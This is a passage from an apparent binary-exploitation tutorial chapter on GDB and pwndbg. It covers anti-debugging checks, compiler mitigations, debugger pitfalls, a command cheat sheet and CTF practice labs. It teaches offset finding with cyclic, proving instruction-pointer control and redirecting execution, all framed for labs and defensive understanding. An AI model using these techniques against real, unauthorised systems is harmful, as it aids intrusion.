Anti-debugging in the wild. Because breakpoints are patched 0xCC bytes and ptrace can only attach once, defensive/evasive software detects debuggers by (a) calling ptrace(PTRACE_TRACEME) on itself so a later attach fails, (b) scanning its own code for 0xCC, (c) checking /proc/self/status for a non-zero TracerPid, or (d) timing checks (single-stepping is thousands of times slower). Blue-team relevance: malware analysts (see the Malware notebook, Chapter 7) defeat these with GDB Python hooks that fake ptrace return values or patch out the checks; recognising an anti-debug check in disassembly — a ptrace call whose result gates an early exit — is a standard triage skill.
Hardening that this chapter’s checksec reads. The mitigations you inspect are exactly the defences the rest of the notebook attacks and that defenders must keep enabled:
| Mitigation | What it stops | Enabled with |
|---|---|---|
| Stack canary | naive stack overflows overwriting return addr | -fstack-protector-strong (default) |
| NX / DEP | executing shellcode on the stack/heap | on by default; needs -z execstack to disable |
| Full RELRO | GOT overwrite | -Wl,-z,relro,-z,now |
| PIE + ASLR | hardcoded gadget/function addresses | -fPIE -pie + kernel randomize_va_space=2 |
| FORTIFY_SOURCE | some unsafe libc calls at compile time | -D_FORTIFY_SOURCE=2 -O2 |
Detection at runtime. From the defender’s side, a process being freshly ptraced, a gdbserver listening socket, or a service spawning /bin/sh from a network-facing binary are all high-signal telemetry — the catch syscall execve proof-of-exploit in Part 6 is exactly the event an EDR watches for on a server that should never spawn a shell. Understanding the debugger teaches you both how an exploit is proven and what its success looks like in logs.
Part 14: Common Pitfalls
Section titled “Part 14: Common Pitfalls”- Forgetting the
*on address breakpoints.break 0x401156means line 0x401156;break *0x401156means address. The missing star silently sets the wrong breakpoint. - ASLR making addresses “change every run.” By default GDB disables ASLR for the target (
set disable-randomization on, the default), so addresses look stable in the debugger but move when you run outside it. Turn it off deliberately withset disable-randomization offwhen you need realistic addresses, and never hardcode a libc/stack address you saw in GDB into an exploit that runs outside GDB. - The environment differs inside vs. outside GDB. GDB adds environment variables (
LINES,COLUMNS) that shift the stack, so an offset perfect in GDB can be off by a few bytes outside it. Match the environment or compute offsets from a leak, not from an absolute address. - Little-endian confusion. Addresses go into memory least-significant-byte first.
0x401156becomes\x56\x11\x40\x00\x00\x00\x00\x00. Always usestruct.pack("<Q", addr)/ pwntoolsp64(), never type the bytes by hand. - Stepping with
s/nwhen you meansi/ni. Source-level stepping needs symbols and skips the instruction detail where the bug lives. In exploitation, default to instruction stepping. - Recording from
mainand waiting forever. Reverse-debugging records every instruction; scoperecordto just before the crash region. - Reading a stripped binary and expecting symbol names. No symbols means
break mainfails; find the entry withinfo file/entryand work from addresses. pwndbg’smainheuristic helps but is not guaranteed. - Attaching fails with “Operation not permitted.” That is Yama
ptrace_scope, not a bug — attach as root or lower the scope on a lab box only. Do not confuse this with an anti-debug check inside the target. - Sitting in the parent after a fork. A forking server hands your input to a child; without
set follow-fork-mode childyou breakpoint in the wrong process and nothing ever triggers. - Trusting an address across ASLR toggles. A stack/libc address seen with randomization disabled is meaningless once you run with it on. Only hardcode addresses that are truly fixed (No-PIE
.text), and derive everything else from a runtime leak. p systemprinting the PLT stub, not libc. In a dynamically linked binary,p systemmay show the PLT thunk address, not libc’s realsystem. Resolve the real address from the libc base (p $libc + off) once you have a leak.
Part 15: Final Revision / Summary
Section titled “Part 15: Final Revision / Summary”- A debugger controls a target via
ptrace; breakpoints are patched0xCCbytes, which explains both how they work and how anti-debug tricks detect them. - Internalise process memory layout:
.text/.rodatafixed code and constants, heap grows up, stack grows down while buffers grow up (the root of stack overflows), libc mapped via mmap. - Know the System V calling convention cold: args in
RDI, RSI, RDX, RCX, R8, R9, return inRAX;callpushes a return address,retpops RIP from the stack — the seed of ROP. checksecfirst, always: RELRO/canary/NX/PIE tell you the exploit strategy before you write a byte.- pwndbg gives you auto-context,
vmmap,telescope,search, andcyclic—cyclicfinds the return-address offset in one crash with zero counting. - Master
x/NFU,telescope, breakpoints/watchpoints/catchpoints, and state editing (set $rip=...) — the ability to edit state turns the debugger into a hypothesis-testing lab. - Watchpoints + reverse-debugging give the fastest root-cause loop: watch the corrupted value, run backward, land on the instruction that wrote it.
- gdbserver / gdb-multiarch + QEMU extend all of this to remote and cross-architecture targets (embedded/IoT firmware).
- The lab proved the core exploitation milestone entirely in the debugger: reproduce →
cyclicoffset → prove RIP control → redirect towin(). - Two calling conventions, never confused: function calls use RDI/RSI/RDX/RCX/R8/R9 with the result in RAX; raw
syscalluses RAX for the number and R10 (not RCX) for the fourth argument. - Live targets and cores extend everything: attach with
-p PID(mind Yama andfollow-fork-mode), and triage crashes post-mortem from core files withcoredumpctl gdb— the workflow that lets fuzzing crash-triage scale.
The whole chapter reduces to one repeatable loop you will run on every target for the rest of this notebook:
flowchart LR
A[checksec: read the strategy] --> B[run/attach in pwndbg]
B --> C[cyclic: find the offset]
C --> D["prove control (p $rip)"]
D --> E[watchpoint: root-cause the write]
E --> F[set state to test the fix/exploit]
F --> B
You now have the instrument. Chapter 2 uses it to turn “I control RIP” into a full, scripted stack-overflow exploit with pwntools.
Part 16: Cheat Sheet / Quick Reference
Section titled “Part 16: Cheat Sheet / Quick Reference”Launch
gdb -q ./vuln # start gdb -q -p PID # attachgdb -q --args ./vuln AAA # with args gdb -q ./vuln core # post-mortempwn checksec ./vuln # protections BEFORE anythingExecution
r / start / c # run / run-to-main / continuesi / ni # step one instruction (into / over)finish # run to end of current functionBreakpoints & data
b main | b *0x401156 | tbreak *ADDR # code breakpointswatch VAR | rwatch VAR | awatch VAR # data breakpointscatch syscall execve # prove code execi b / delete N # list / removeInspect
x/40xg $rsp # 40 stack qwords telescope $rsp 30 # deref chainx/4i $rip # disassemble at RIP vmmap # memory mapi r / p $rdi # registers search -t bytes "/bin/sh"Modify (hypothesis testing)
set $rip = 0xADDR set $rdi = 0xADDRset {long}0xADDR = 0xVAL set var name = valueOffset finding
cyclic 200 # generate patterncyclic -l 0xVALUE # value-in-RSP/RIP -> offsetEndianness: struct.pack("<Q", 0x401156) or pwntools p64(0x401156). Never hand-type address bytes.
Part 17: Practice Labs & Resources
Section titled “Part 17: Practice Labs & Resources”Build debugger fluency on ranges that reward it:
- pwn.college (Program Interaction / Debugging & Reverse Engineering modules). The best structured path — dozens of GDB-driven challenges that force exactly the commands in this chapter.
- picoCTF — Binary Exploitation category (
buffer overflow 0/1/2,gdbwarmups). Beginner-friendly, browser-hosted; solve them entirely from GDB before writing any script. - OverTheWire — Narnia and Behemoth wargames. Small SUID binaries you debug over SSH; ideal for
x,telescope, and offset practice. - Nightmare (guyinatuxedo) — the “Modern Binary Exploitation”-style course on GitHub. Free, self-paced, starts with GDB/pwndbg fundamentals and builds to heap.
- Exploit Education — Phoenix and Nebula. Deliberately vulnerable programs with source, perfect for the “read the C, confirm in the debugger” habit.
gefandpwndbgofficial docs. Skim the command reference once so you know what exists (heap,rop,tls,canarycommands you will need in later chapters).- crackmes.one (easy, Linux ELF). Practice reverse-debugging and watchpoint-driven analysis on small unknown binaries.
- HackTheBox — “pwn” challenges (starting-point / very easy). Remote services you attach to and drive over the network — perfect for the
gdbserver, live-attach, andfollow-fork-modeskills in Parts 11–12B. - ROP Emporium (
ret2winfirst challenge). Even before Chapter 3, its opening level is an ideal “prove RIP control and redirect to a win function” exercise done entirely in GDB — the same loop as this chapter’s lab.
A concrete graduation test: take any easy picoCTF or ROP Emporium binary, and without running it outside GDB, produce (1) its checksec strategy read, (2) the exact overflow offset via cyclic, (3) a p $rip-proven control of the instruction pointer, and (4) a watchpoint that lands on the instruction doing the corruption. If you can do all four without notes, you are ready for Chapter 2.
Do ten challenges where you never leave GDB — no external tools, just the debugger — and the commands here will become muscle memory. That fluency is the prerequisite for every remaining chapter.
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.